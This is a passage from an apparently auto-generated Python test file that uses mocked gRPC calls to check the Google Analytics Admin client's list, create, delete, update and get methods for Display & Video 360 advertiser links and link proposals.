type(client.transport.list_display_video360_advertiser_links),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[
resources.DisplayVideo360AdvertiserLink(),
resources.DisplayVideo360AdvertiserLink(),
resources.DisplayVideo360AdvertiserLink(),
],
next_page_token="abc",
),
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[], next_page_token="def",
),
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[
resources.DisplayVideo360AdvertiserLink(),
],
next_page_token="ghi",
),
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[
resources.DisplayVideo360AdvertiserLink(),
resources.DisplayVideo360AdvertiserLink(),
],
),
RuntimeError,
)
async_pager = await client.list_display_video360_advertiser_links(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(
isinstance(i, resources.DisplayVideo360AdvertiserLink) for i in responses
)
@pytest.mark.asyncio
async def test_list_display_video360_advertiser_links_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_display_video360_advertiser_links),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[
resources.DisplayVideo360AdvertiserLink(),
resources.DisplayVideo360AdvertiserLink(),
resources.DisplayVideo360AdvertiserLink(),
],
next_page_token="abc",
),
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[], next_page_token="def",
),
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[
resources.DisplayVideo360AdvertiserLink(),
],
next_page_token="ghi",
),
analytics_admin.ListDisplayVideo360AdvertiserLinksResponse(
display_video_360_advertiser_links=[
resources.DisplayVideo360AdvertiserLink(),
resources.DisplayVideo360AdvertiserLink(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_display_video360_advertiser_links(request={})
).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_create_display_video360_advertiser_link(
transport: str = "grpc",
request_type=analytics_admin.CreateDisplayVideo360AdvertiserLinkRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLink(
name="name_value",
advertiser_id="advertiser_id_value",
advertiser_display_name="advertiser_display_name_value",
)
response = client.create_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateDisplayVideo360AdvertiserLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DisplayVideo360AdvertiserLink)
assert response.name == "name_value"
assert response.advertiser_id == "advertiser_id_value"
assert response.advertiser_display_name == "advertiser_display_name_value"
def test_create_display_video360_advertiser_link_from_dict():
test_create_display_video360_advertiser_link(request_type=dict)
def test_create_display_video360_advertiser_link_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link), "__call__"
) as call:
client.create_display_video360_advertiser_link()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateDisplayVideo360AdvertiserLinkRequest()
@pytest.mark.asyncio
async def test_create_display_video360_advertiser_link_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.CreateDisplayVideo360AdvertiserLinkRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLink(
name="name_value",
advertiser_id="advertiser_id_value",
advertiser_display_name="advertiser_display_name_value",
)
)
response = await client.create_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateDisplayVideo360AdvertiserLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DisplayVideo360AdvertiserLink)
assert response.name == "name_value"
assert response.advertiser_id == "advertiser_id_value"
assert response.advertiser_display_name == "advertiser_display_name_value"
@pytest.mark.asyncio
async def test_create_display_video360_advertiser_link_async_from_dict():
await test_create_display_video360_advertiser_link_async(request_type=dict)
def test_create_display_video360_advertiser_link_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateDisplayVideo360AdvertiserLinkRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link), "__call__"
) as call:
call.return_value = resources.DisplayVideo360AdvertiserLink()
client.create_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_display_video360_advertiser_link_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateDisplayVideo360AdvertiserLinkRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLink()
)
await client.create_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_display_video360_advertiser_link_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLink()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_display_video360_advertiser_link(
parent="parent_value",
display_video_360_advertiser_link=resources.DisplayVideo360AdvertiserLink(
name="name_value"
),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[
0
].display_video_360_advertiser_link == resources.DisplayVideo360AdvertiserLink(
name="name_value"
)
def test_create_display_video360_advertiser_link_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_display_video360_advertiser_link(
analytics_admin.CreateDisplayVideo360AdvertiserLinkRequest(),
parent="parent_value",
display_video_360_advertiser_link=resources.DisplayVideo360AdvertiserLink(
name="name_value"
),
)
@pytest.mark.asyncio
async def test_create_display_video360_advertiser_link_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLink()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLink()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_display_video360_advertiser_link(
parent="parent_value",
display_video_360_advertiser_link=resources.DisplayVideo360AdvertiserLink(
name="name_value"
),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[
0
].display_video_360_advertiser_link == resources.DisplayVideo360AdvertiserLink(
name="name_value"
)
@pytest.mark.asyncio
async def test_create_display_video360_advertiser_link_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_display_video360_advertiser_link(
analytics_admin.CreateDisplayVideo360AdvertiserLinkRequest(),
parent="parent_value",
display_video_360_advertiser_link=resources.DisplayVideo360AdvertiserLink(
name="name_value"
),
)
def test_delete_display_video360_advertiser_link(
transport: str = "grpc",
request_type=analytics_admin.DeleteDisplayVideo360AdvertiserLinkRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteDisplayVideo360AdvertiserLinkRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_delete_display_video360_advertiser_link_from_dict():
test_delete_display_video360_advertiser_link(request_type=dict)
def test_delete_display_video360_advertiser_link_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link), "__call__"
) as call:
client.delete_display_video360_advertiser_link()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteDisplayVideo360AdvertiserLinkRequest()
@pytest.mark.asyncio
async def test_delete_display_video360_advertiser_link_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.DeleteDisplayVideo360AdvertiserLinkRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.delete_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteDisplayVideo360AdvertiserLinkRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_delete_display_video360_advertiser_link_async_from_dict():
await test_delete_display_video360_advertiser_link_async(request_type=dict)
def test_delete_display_video360_advertiser_link_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteDisplayVideo360AdvertiserLinkRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link), "__call__"
) as call:
call.return_value = None
client.delete_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_display_video360_advertiser_link_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteDisplayVideo360AdvertiserLinkRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_display_video360_advertiser_link_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_display_video360_advertiser_link(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_delete_display_video360_advertiser_link_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_display_video360_advertiser_link(
analytics_admin.DeleteDisplayVideo360AdvertiserLinkRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_delete_display_video360_advertiser_link_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_display_video360_advertiser_link(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_delete_display_video360_advertiser_link_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_display_video360_advertiser_link(
analytics_admin.DeleteDisplayVideo360AdvertiserLinkRequest(),
name="name_value",
)
def test_update_display_video360_advertiser_link(
transport: str = "grpc",
request_type=analytics_admin.UpdateDisplayVideo360AdvertiserLinkRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLink(
name="name_value",
advertiser_id="advertiser_id_value",
advertiser_display_name="advertiser_display_name_value",
)
response = client.update_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateDisplayVideo360AdvertiserLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DisplayVideo360AdvertiserLink)
assert response.name == "name_value"
assert response.advertiser_id == "advertiser_id_value"
assert response.advertiser_display_name == "advertiser_display_name_value"
def test_update_display_video360_advertiser_link_from_dict():
test_update_display_video360_advertiser_link(request_type=dict)
def test_update_display_video360_advertiser_link_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_display_video360_advertiser_link), "__call__"
) as call:
client.update_display_video360_advertiser_link()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateDisplayVideo360AdvertiserLinkRequest()
@pytest.mark.asyncio
async def test_update_display_video360_advertiser_link_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.UpdateDisplayVideo360AdvertiserLinkRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLink(
name="name_value",
advertiser_id="advertiser_id_value",
advertiser_display_name="advertiser_display_name_value",
)
)
response = await client.update_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateDisplayVideo360AdvertiserLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DisplayVideo360AdvertiserLink)
assert response.name == "name_value"
assert response.advertiser_id == "advertiser_id_value"
assert response.advertiser_display_name == "advertiser_display_name_value"
@pytest.mark.asyncio
async def test_update_display_video360_advertiser_link_async_from_dict():
await test_update_display_video360_advertiser_link_async(request_type=dict)
def test_update_display_video360_advertiser_link_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateDisplayVideo360AdvertiserLinkRequest()
request.display_video_360_advertiser_link.name = (
"display_video_360_advertiser_link.name/value"
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_display_video360_advertiser_link), "__call__"
) as call:
call.return_value = resources.DisplayVideo360AdvertiserLink()
client.update_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"display_video_360_advertiser_link.name=display_video_360_advertiser_link.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_display_video360_advertiser_link_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateDisplayVideo360AdvertiserLinkRequest()
request.display_video_360_advertiser_link.name = (
"display_video_360_advertiser_link.name/value"
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_display_video360_advertiser_link), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLink()
)
await client.update_display_video360_advertiser_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"display_video_360_advertiser_link.name=display_video_360_advertiser_link.name/value",
) in kw["metadata"]
def test_update_display_video360_advertiser_link_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLink()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_display_video360_advertiser_link(
display_video_360_advertiser_link=resources.DisplayVideo360AdvertiserLink(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[
0
].display_video_360_advertiser_link == resources.DisplayVideo360AdvertiserLink(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
def test_update_display_video360_advertiser_link_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_display_video360_advertiser_link(
analytics_admin.UpdateDisplayVideo360AdvertiserLinkRequest(),
display_video_360_advertiser_link=resources.DisplayVideo360AdvertiserLink(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_display_video360_advertiser_link_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_display_video360_advertiser_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLink()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLink()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_display_video360_advertiser_link(
display_video_360_advertiser_link=resources.DisplayVideo360AdvertiserLink(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[
0
].display_video_360_advertiser_link == resources.DisplayVideo360AdvertiserLink(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
@pytest.mark.asyncio
async def test_update_display_video360_advertiser_link_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_display_video360_advertiser_link(
analytics_admin.UpdateDisplayVideo360AdvertiserLinkRequest(),
display_video_360_advertiser_link=resources.DisplayVideo360AdvertiserLink(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_get_display_video360_advertiser_link_proposal(
transport: str = "grpc",
request_type=analytics_admin.GetDisplayVideo360AdvertiserLinkProposalRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_display_video360_advertiser_link_proposal), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLinkProposal(
name="name_value",
advertiser_id="advertiser_id_value",
advertiser_display_name="advertiser_display_name_value",
validation_email="validation_email_value",
)
response = client.get_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert (
args[0] == analytics_admin.GetDisplayVideo360AdvertiserLinkProposalRequest()
)
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DisplayVideo360AdvertiserLinkProposal)
assert response.name == "name_value"
assert response.advertiser_id == "advertiser_id_value"
assert response.advertiser_display_name == "advertiser_display_name_value"
assert response.validation_email == "validation_email_value"
def test_get_display_video360_advertiser_link_proposal_from_dict():
test_get_display_video360_advertiser_link_proposal(request_type=dict)
def test_get_display_video360_advertiser_link_proposal_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_display_video360_advertiser_link_proposal), "__call__"
) as call:
client.get_display_video360_advertiser_link_proposal()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert (
args[0] == analytics_admin.GetDisplayVideo360AdvertiserLinkProposalRequest()
)
@pytest.mark.asyncio
async def test_get_display_video360_advertiser_link_proposal_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.GetDisplayVideo360AdvertiserLinkProposalRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_display_video360_advertiser_link_proposal), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLinkProposal(
name="name_value",
advertiser_id="advertiser_id_value",
advertiser_display_name="advertiser_display_name_value",
validation_email="validation_email_value",
)
)
response = await client.get_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert (
args[0] == analytics_admin.GetDisplayVideo360AdvertiserLinkProposalRequest()
)
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DisplayVideo360AdvertiserLinkProposal)
assert response.name == "name_value"
assert response.advertiser_id == "advertiser_id_value"
assert response.advertiser_display_name == "advertiser_display_name_value"
assert response.validation_email == "validation_email_value"
@pytest.mark.asyncio
async def test_get_display_video360_advertiser_link_proposal_async_from_dict():
await test_get_display_video360_advertiser_link_proposal_async(request_type=dict)
def test_get_display_video360_advertiser_link_proposal_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetDisplayVideo360AdvertiserLinkProposalRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_display_video360_advertiser_link_proposal), "__call__"
) as call:
call.return_value = resources.DisplayVideo360AdvertiserLinkProposal()
client.get_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_display_video360_advertiser_link_proposal_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetDisplayVideo360AdvertiserLinkProposalRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_display_video360_advertiser_link_proposal), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLinkProposal()
)
await client.get_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_display_video360_advertiser_link_proposal_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_display_video360_advertiser_link_proposal), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLinkProposal()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_display_video360_advertiser_link_proposal(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_display_video360_advertiser_link_proposal_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_display_video360_advertiser_link_proposal(
analytics_admin.GetDisplayVideo360AdvertiserLinkProposalRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_get_display_video360_advertiser_link_proposal_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
